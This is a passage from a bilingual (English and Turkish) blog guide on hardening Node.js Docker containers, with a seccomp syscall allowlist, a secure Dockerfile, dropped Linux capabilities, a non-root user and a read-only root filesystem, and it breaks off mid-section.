class="s2">"readlink"</span><span class="p">,</span><span class="w"> </span><span class="s2">"readlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"readv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"recvfrom"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"recvmmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"recvmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rename"</span><span class="p">,</span><span class="w"> </span><span class="s2">"renameat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"renameat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"restart_syscall"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rmdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rseq"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigaction"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigpending"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigprocmask"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigqueueinfo"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigreturn"</span><span class="p">,</span><span class="w"> </span><span class="s2">"rt_sigsuspend"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"rt_sigtimedwait"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getaffinity"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_getattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getparam"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_getscheduler"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_rr_get_interval"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setaffinity"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_setattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setparam"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sched_setscheduler"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sched_yield"</span><span class="p">,</span><span class="w"> </span><span class="s2">"seccomp"</span><span class="p">,</span><span class="w"> </span><span class="s2">"select"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semctl"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"semget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semop"</span><span class="p">,</span><span class="w"> </span><span class="s2">"semtimedop"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendfile"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sendmmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendmsg"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sendto"</span><span class="p">,</span><span class="w"> </span><span class="s2">"set_gid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"set_robust_list"</span><span class="p">,</span><span class="w"> </span><span class="s2">"set_tid_address"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setdomainname"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setgroups"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sethostname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setitimer"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setpgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setpriority"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setregid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setresgid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setresuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setreuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setrlimit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setsid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"setsockopt"</span><span class="p">,</span><span class="w"> </span><span class="s2">"setuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shmctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shmdt"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"shmget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"shutdown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sigaltstack"</span><span class="p">,</span><span class="w"> </span><span class="s2">"signalfd4"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"socket"</span><span class="p">,</span><span class="w"> </span><span class="s2">"socketpair"</span><span class="p">,</span><span class="w"> </span><span class="s2">"splice"</span><span class="p">,</span><span class="w"> </span><span class="s2">"stat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"statfs"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"statx"</span><span class="p">,</span><span class="w"> </span><span class="s2">"symlink"</span><span class="p">,</span><span class="w"> </span><span class="s2">"symlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sync"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"sync_file_range"</span><span class="p">,</span><span class="w"> </span><span class="s2">"sysinfo"</span><span class="p">,</span><span class="w"> </span><span class="s2">"tee"</span><span class="p">,</span><span class="w"> </span><span class="s2">"tgkill"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"time"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_create"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_delete"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"timer_getoverrun"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timer_settime"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"timerfd_create"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timerfd_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"timerfd_settime"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"tkill"</span><span class="p">,</span><span class="w"> </span><span class="s2">"truncate"</span><span class="p">,</span><span class="w"> </span><span class="s2">"umask"</span><span class="p">,</span><span class="w"> </span><span class="s2">"uname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"unlink"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"unlinkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"unshare"</span><span class="p">,</span><span class="w"> </span><span class="s2">"utimensat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"utimes"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"vfork"</span><span class="p">,</span><span class="w"> </span><span class="s2">"vmsplice"</span><span class="p">,</span><span class="w"> </span><span class="s2">"wait4"</span><span class="p">,</span><span class="w"> </span><span class="s2">"waitid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"write"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"writev"</span> <span class="w"> </span><span class="p">],</span> <span class="w"> </span><span class="nt">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SCMP_ACT_ALLOW"</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">]</span> <span class="p">}</span> </code></pre></div> <p>To apply this profile:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--security-opt<span class="w"> </span><span class="nv">seccomp</span><span class="o">=</span>node-seccomp.json<span class="w"> </span>my-app </code></pre></div> <hr/> <h2 id="lets-put-it-all-together-secure-dockerfile">🏗️ Let's Put It All Together: Secure Dockerfile<a class="headerlink" href="#lets-put-it-all-together-secure-dockerfile" title="Permanent link">#</a></h2> <p>Our production-ready secure Dockerfile template, which covers all the steps discussed and includes proper signal handling with <code>tini</code> integration, is as follows:</p> <div class="highlight"><pre><span></span><code><span class="c"># Stage 1: Build</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production <span class="c"># Stage 2: Runtime</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="k">RUN</span><span class="w"> </span>groupadd<span class="w"> </span>--system<span class="w"> </span>--gid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>useradd<span class="w"> </span>--system<span class="w"> </span>--uid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>--gid<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="c"># Copy files directly with non-root user ownership</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="c"># Install tini for signal management</span> <span class="k">RUN</span><span class="w"> </span>apt-get<span class="w"> </span>update<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>-y<span class="w"> </span>--no-install-recommends<span class="w"> </span>tini<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>apt-get<span class="w"> </span>clean<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>rm<span class="w"> </span>-rf<span class="w"> </span>/var/lib/apt/lists/* <span class="k">ENTRYPOINT</span><span class="w"> </span><span class="p">[</span><span class="s2">"/usr/bin/tini"</span><span class="p">,</span><span class="w"> </span><span class="s2">"--"</span><span class="p">]</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>Container security is one of those topics we postpone until something bad happens, but fixing it retroactively is the most painful thing. Implementing these four steps (non-root user, dropping capabilities, read-only filesystem, and seccomp) during the initial setup phase is free and saves you from future security headaches.</p> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/nginx-ters-vekil-sunucu-yapilandirmak/">Configuring Nginx as a Reverse Proxy</a></li> <li><a href="/en/docker-imaj-boyutu-kucultme-rehberi/">Diet for Fat Docker Images: Journey from 1.2 GB to 78 MB</a></li> <li><a href="/en/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning and Kernel Settings for Node.js Microservices</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Linux capabilities divide root privileges into smaller, distinct rights distributed to processes.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Secure Computing Mode; filters system calls to apply restrictions at the kernel level.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:30:00+03:002026-06-26T02:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/docker-node-js-root-olmadan-calistirmak/

<p>Node.js Docker konteynerlerini root yetkilerinden arındırarak Linux Capabilities, salt okunur dosya sistemi ve seccomp ile güvenli hale getirme rehberi.</p>

<p>Ge&ccedil;en g&uuml;n eski bir projenin Dockerfile'&inodot;n&inodot; incelerken birden s&inodot;rt&inodot;mdan a&scedil;a&gbreve;&inodot; so&gbreve;uk sular bo&scedil;ald&inodot;. Y&inodot;llar &ouml;nce h&inodot;zl&inodot;ca aya&gbreve;a kald&inodot;r&inodot;p yay&inodot;na ald&inodot;&gbreve;&inodot;m&inodot;z o Node.js sunucusunda ne bir <code>USER</code> komutu vard&inodot; ne de bir yetki s&inodot;n&inodot;rland&inodot;rmas&inodot;. Konteyner do&gbreve;rudan root olarak &ccedil;al&inodot;&scedil;&inodot;yordu. Yani o d&ouml;nem <code>lodash</code> veya <code>express</code> &uuml;zerinde &ccedil;&inodot;kacak tek bir RCE (uzaktan kod &ccedil;al&inodot;&scedil;t&inodot;rma) a&ccedil;&inodot;&gbreve;&inodot;, sald&inodot;rgana konteyner i&ccedil;inde tam root yetkisi vermeye yetecekti. Oradan sonras&inodot; ise kernel zafiyetleri veya yanl&inodot;&scedil; yap&inodot;land&inodot;r&inodot;lm&inodot;&scedil; seccomp ayarlar&inodot; &uuml;zerinden ana makineye (host) s&inodot;zmaya bak&inodot;yordu.</p> <p>&Idot;nternetteki rehberlerin yar&inodot;s&inodot;ndan fazlas&inodot;nda g&ouml;rece&gbreve;in o me&scedil;hur Dockerfile &scedil;ablonu tam olarak &scedil;&ouml;yledir:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>Burada root olmayan bir kullan&inodot;c&inodot; yok. Linux yetenekleri (capabilities) d&uuml;&scedil;&uuml;r&uuml;lmemi&scedil;. Salt okunur dosya sistemi veya seccomp k&inodot;s&inodot;tlamas&inodot; hak getire. Docker build al&inodot;rs&inodot;n, t&inodot;k&inodot;r t&inodot;k&inodot;r &ccedil;al&inodot;&scedil;&inodot;r, t&uuml;m testlerden ge&ccedil;er. Ancak tek bir <code>curl</code> komutuyla konteynerden &ccedil;&inodot;k&inodot;p ana sunucuyu ele ge&ccedil;irebilecek bir sald&inodot;r&inodot; zincirine kap&inodot; aralar.</p> <p>Bir&ccedil;o&gbreve;umuz Docker konteynerlerinin tamamen izole ve g&uuml;venli oldu&gbreve;unu varsayariz. Ancak default ayarlar&inodot;yla b&inodot;rak&inodot;lm&inodot;&scedil; bir konteyner, kap&inodot;s&inodot; a&ccedil;&inodot;k b&inodot;rak&inodot;lm&inodot;&scedil; ama &ouml;n&uuml;ne g&ouml;stermelik bir g&uuml;venlik kul&uuml;besi konulmu&scedil; bir siteye benzer. &Idot;&scedil;te bu y&uuml;zden dostum, bug&uuml;n bu a&ccedil;&inodot;&gbreve;&inodot; kapatacak, Node.js konteynerlerini z&inodot;rh gibi koruyacak d&ouml;rt ad&inodot;mdan bahsedece&gbreve;iz: Linux yeteneklerini k&inodot;s&inodot;tlamak, root olmayan kullan&inodot;c&inodot;ya ge&ccedil;mek, dosya sistemini salt okunur yapmak ve seccomp profili uygulamak.</p> <hr/> <h2 id="konteyner-icindeki-root-neden-hala-roottur">🔑 Konteyner &Idot;&ccedil;indeki Root Neden H&acirc;l&acirc; Root'tur?<a class="headerlink" href="#konteyner-icindeki-root-neden-hala-roottur" title="Permanent link">#</a></h2> <p>Docker'&inodot;n konteynerleri tamamen izole etti&gbreve;i d&uuml;&scedil;&uuml;ncesi tehlikeli bir yan&inodot;lg&inodot;d&inodot;r. Evet, varsay&inodot;lan olarak baz&inodot; Linux yetenekleri kapat&inodot;l&inodot;r ve temel bir seccomp filtresi uygulan&inodot;r. Ancak Docker'&inodot;n varsay&inodot;lan olarak aktif b&inodot;rakt&inodot;&gbreve;&inodot; yetenekler listesi olduk&ccedil;a c&ouml;merttir:</p> <p><code>CAP_CHOWN</code>, <code>CAP_DAC_OVERRIDE</code>, <code>CAP_FSETID</code>, <code>CAP_FOWNER</code>, <code>CAP_MKNOD</code>, <code>CAP_NET_RAW</code>, <code>CAP_SETGID</code>, <code>CAP_SETUID</code>, <code>CAP_SETFCAP</code>, <code>CAP_SETPCAP</code>, <code>CAP_NET_BIND_SERVICE</code>, <code>CAP_SYS_CHROOT</code>, <code>CAP_AUDIT_WRITE</code>, <code>CAP_KILL</code></p> <p>Bu yetenekler aras&inodot;nda dosya izinlerini tamamen yok sayan <code>CAP_DAC_OVERRIDE</code>, a&gbreve;da sahtecilik yap&inodot;lmas&inodot;na izin veren <code>CAP_NET_RAW</code> ve konteyner d&inodot;&scedil;&inodot;na ka&ccedil;&inodot;&scedil; sa&gbreve;layan <code>CAP_SYS_CHROOT</code> gibi tehlikeli haklar yer al&inodot;yor. Node.js s&uuml;recini ele ge&ccedil;iren bir sald&inodot;rgan, bu yeteneklerin tamam&inodot;na sahip olur.</p> <p>Sald&inodot;r&inodot; &scedil;u &scedil;ekilde ger&ccedil;ekle&scedil;ir: 1. Projedeki bir ba&gbreve;&inodot;ml&inodot;l&inodot;kta bulunan a&ccedil;&inodot;k sayesinde sald&inodot;rgan diske dosya yazar. 2. Konteyner root olarak &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot; i&ccedil;in bu dosya <code>uid 0</code> yetkisiyle kaydedilir ve <code>/usr</code> veya <code>/sbin</code> alt&inodot;ndaki sistem dosyalar&inodot;n&inodot;n &uuml;zerine yaz&inodot;labilir. 3. Sald&inodot;rgan, <code>/proc</code> dizinini ve <code>CAP_SYS_CHROOT</code> yetene&gbreve;ini kullanarak konteyner s&inodot;n&inodot;rlar&inodot;ndan d&inodot;&scedil;ar&inodot; ka&ccedil;ar. 4. Art&inodot;k ana sunucuda tam yetkili bir arka kap&inodot; a&ccedil;&inodot;lm&inodot;&scedil;t&inodot;r.</p> <p>A&scedil;a&gbreve;&inodot;daki ad&inodot;mlarla bu zincirin her halkas&inodot;n&inodot; tek tek k&inodot;raca&gbreve;&inodot;z.</p> <hr/> <h2 id="adm-1-tum-linux-yeteneklerini-kapatn-sadece-gerekenleri-acn">🛠️ Ad&inodot;m 1: T&uuml;m Linux Yeteneklerini Kapat&inodot;n, Sadece Gerekenleri A&ccedil;&inodot;n<a class="headerlink" href="#adm-1-tum-linux-yeteneklerini-kapatn-sadece-gerekenleri-acn" title="Permanent link">#</a></h2> <p>&Idot;lk g&uuml;venlik &ouml;nlemimiz, konteynere verilen t&uuml;m Linux yeteneklerini<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> s&inodot;f&inodot;rlay&inodot;p sadece uygulaman&inodot;n &ccedil;al&inodot;&scedil;mas&inodot; i&ccedil;in zorunlu olanlar&inodot; tan&inodot;mlamakt&inodot;r.</p> <p>Standart bir Node.js HTTP sunucusu i&ccedil;in, e&gbreve;er 1024'ten k&uuml;&ccedil;&uuml;k ayr&inodot;cal&inodot;kl&inodot; bir portu dinlemiyorsan&inodot;z hi&ccedil;bir Linux yetene&gbreve;ine ihtiyac&inodot;n&inodot;z yoktur. Uygulaman&inodot;z 3000 veya daha y&uuml;ksek bir port &uuml;zerinden aya&gbreve;a kalk&inodot;yorsa, t&uuml;m yetenekleri kapatabilirsiniz.</p> <p><strong>Docker Compose Yap&inodot;land&inodot;rmas&inodot;:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">services</span><span class="p">:</span> <span class="w"> </span><span class="nt">app</span><span class="p">:</span> <span class="w"> </span><span class="nt">build</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.</span> <span class="w"> </span><span class="nt">cap_drop</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">ALL</span> <span class="w"> </span><span class="nt">cap_add</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">[]</span> <span class="w"> </span><span class="nt">ports</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">"3000:3000"</span> </code></pre></div> <p><strong>Docker CLI Komutu:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--cap-drop<span class="o">=</span>ALL<span class="w"> </span>my-app </code></pre></div> <p>T&uuml;m yetenekleri kapatt&inodot;&gbreve;&inodot;n&inodot;zda Node.js'in diske dosya yazarken veya okurken hata verdi&gbreve;ini g&ouml;r&uuml;rseniz bu durum yeteneklerle ilgili de&gbreve;il, dosya izinleriyle (POSIX permissions) ilgilidir. Onu da bir sonraki ad&inodot;mda &ccedil;&ouml;zece&gbreve;iz.</p> <hr/> <h2 id="adm-2-root-olmayan-non-root-kullancya-gecin">👤 Ad&inodot;m 2: Root Olmayan (Non-Root) Kullan&inodot;c&inodot;ya Ge&ccedil;in<a class="headerlink" href="#adm-2-root-olmayan-non-root-kullancya-gecin" title="Permanent link">#</a></h2> <p>Bu ad&inodot;m, konteyner g&uuml;venli&gbreve;indeki en kritik ad&inodot;md&inodot;r. Konteyner i&ccedil;inde <code>uid 1000</code> (root olmayan bir kullan&inodot;c&inodot;) olarak &ccedil;al&inodot;&scedil;an bir s&uuml;re&ccedil;, <code>/usr/bin</code> alt&inodot;na dosya yazamaz, <code>/etc/passwd</code> dosyas&inodot;n&inodot; de&gbreve;i&scedil;tiremez ve yetkisiz sistem &ccedil;a&gbreve;r&inodot;lar&inodot; yapamaz.</p> <p>Dockerfile &uuml;zerinde iki sat&inodot;rl&inodot;k bir de&gbreve;i&scedil;iklikle bunu sa&gbreve;layabiliriz:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="c"># Root olmayan kullan&inodot;c&inodot; ve grubu olu&scedil;turuyoruz</span> <span class="k">RUN</span><span class="w"> </span>groupadd<span class="w"> </span>--system<span class="w"> </span>--gid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>useradd<span class="w"> </span>--system<span class="w"> </span>--uid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>--gid<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>#<span class="w"> </span>Dosya<span class="w"> </span>sahipli&gbreve;ini<span class="w"> </span>yeni<span class="w"> </span>kullan&inodot;c&inodot;ya<span class="w"> </span>veriyoruz <span class="w"> </span>chown<span class="w"> </span>-R<span class="w"> </span>appuser:appuser<span class="w"> </span>/app <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>E&gbreve;er Alpine tabanl&inodot; hafif imajlar (<code>node:20-alpine</code>) kullan&inodot;yorsan&inodot;z, kullan&inodot;c&inodot; olu&scedil;turma komutlar&inodot; de&gbreve;i&scedil;iklik g&ouml;sterir:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-alpine</span> <span class="k">RUN</span><span class="w"> </span>addgroup<span class="w"> </span>-S<span class="w"> </span>-g<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>adduser<span class="w"> </span>-S<span class="w"> </span>-u<span class="w"> </span><span class="m">1000</span><span class="w"> </span>-G<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>chown<span class="w"> </span>-R<span class="w"> </span>appuser:appuser<span class="w"> </span>/app <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Kritik Bilgi: Root Olmayan Kullan&inodot;c&inodot;ya Ge&ccedil;ildi&gbreve;inde K&inodot;r&inodot;labilecek Yap&inodot;lar! ⚠️</p> <p>Root olmayan bir kullan&inodot;c&inodot;ya ge&ccedil;ti&gbreve;inizde &scedil;u alanlarda yetki ve &ccedil;al&inodot;&scedil;ma hatalar&inodot; alabilirsiniz:</p> <ul> <li><strong>Log dosyalar&inodot;:</strong> Uygulaman&inodot;z <code>/var/log</code> gibi sistem dizinlerine yazmaya &ccedil;al&inodot;&scedil;&inodot;yorsa yetki hatas&inodot; al&inodot;rs&inodot;n&inodot;z. Loglar&inodot; stdout/stderr ak&inodot;&scedil;lar&inodot;na y&ouml;nlendirin veya <code>/app</code> i&ccedil;inde izin verdi&gbreve;iniz bir alt klas&ouml;re yaz&inodot;n.</li> <li><strong>Unix soket dosyalar&inodot;:</strong> E&gbreve;er <code>/var/run</code> alt&inodot;nda soket dosyas&inodot; olu&scedil;turuyorsan&inodot;z, sahipli&gbreve;i <code>appuser</code> olan bir dizin tercih edin.</li> <li><strong>Lifecycle scriptleri i&ccedil;eren paketler:</strong> Baz&inodot; npm paketleri kurulum s&inodot;ras&inodot;nda root yetkisi gerektiren komutlar &ccedil;al&inodot;&scedil;t&inodot;rabilir. Bu y&uuml;zden paket kurulumlar&inodot;n&inodot; (<code>npm ci</code>) root kullan&inodot;c&inodot;s&inodot; ile yap&inodot;p, sonras&inodot;nda dosyalar&inodot; <code>chown</code> ile ta&scedil;&inodot;yarak &ccedil;al&inodot;&scedil;t&inodot;rmak en temiz y&ouml;ntemdir.</li> </ul> </div> <hr/> <h2 id="adm-3-kok-dosya-sistemini-salt-okunur-read-only-yapn">💾 Ad&inodot;m 3: K&ouml;k Dosya Sistemini Salt Okunur (Read-Only) Yap&inodot;n<a class="headerlink" href="#adm-3-kok-dosya-sistemini-salt-okunur-read-only-yapn" title="Permanent link">#</a></h2> <p>Konteynerin k&ouml;k dosya sistemini salt okunur olarak ba&gbreve;lad&inodot;&gbreve;&inodot;m&inodot;zda, sald&inodot;rgan&inodot;n kod enjekte etme veya sistem konfig&uuml;rasyonlar&inodot;n&inodot; manip&uuml;le etme &scedil;ans&inodot;n&inodot; tamamen yok ederiz.</p> <p><strong>Docker CLI:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--read-only<span class="w"> </span>--tmpfs<span class="w"> </span>/tmp<span class="w"> </span>--tmpfs<span class="w"> </span>/app/data<span class="w"> </span>my-app </code></pre></div> <p><strong>Docker Compose:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">services</span><span class="p">:</span> <span class="w"> </span><span class="nt">app</span><span class="p">:</span> <span class="w"> </span><span class="nt">build</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.</span> <span class="w"> </span><span class="nt">read_only</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> <span class="w"> </span><span class="nt">tmpfs</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">/tmp</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">/app/data</span> <span class="w"> </span><span class="nt">cap_drop</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">ALL</span> </code></pre></div> <p><strong>Kubernetes Pod G&uuml;venlik Ayar&inodot;:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">spec</span><span class="p">:</span> <span class="w"> </span><span class="nt">securityContext</span><span class="p">:</span> <span class="w"> </span><span class="nt">runAsNonRoot</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> <span class="w"> </span><span class="nt">runAsUser</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">runAsGroup</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">fsGroup</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">readOnlyRootFilesystem</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> </code></pre></div> <p>K&ouml;k dizini salt okunur yapt&inodot;&gbreve;&inodot;m&inodot;zda, Node.js'in &ccedil;al&inodot;&scedil;ma an&inodot;nda yazmak zorunda oldu&gbreve;u <code>/tmp</code> gibi klas&ouml;rleri bellek tabanl&inodot; ge&ccedil;ici dosya sistemi olan <code>tmpfs</code> ile ba&gbreve;lar&inodot;z. 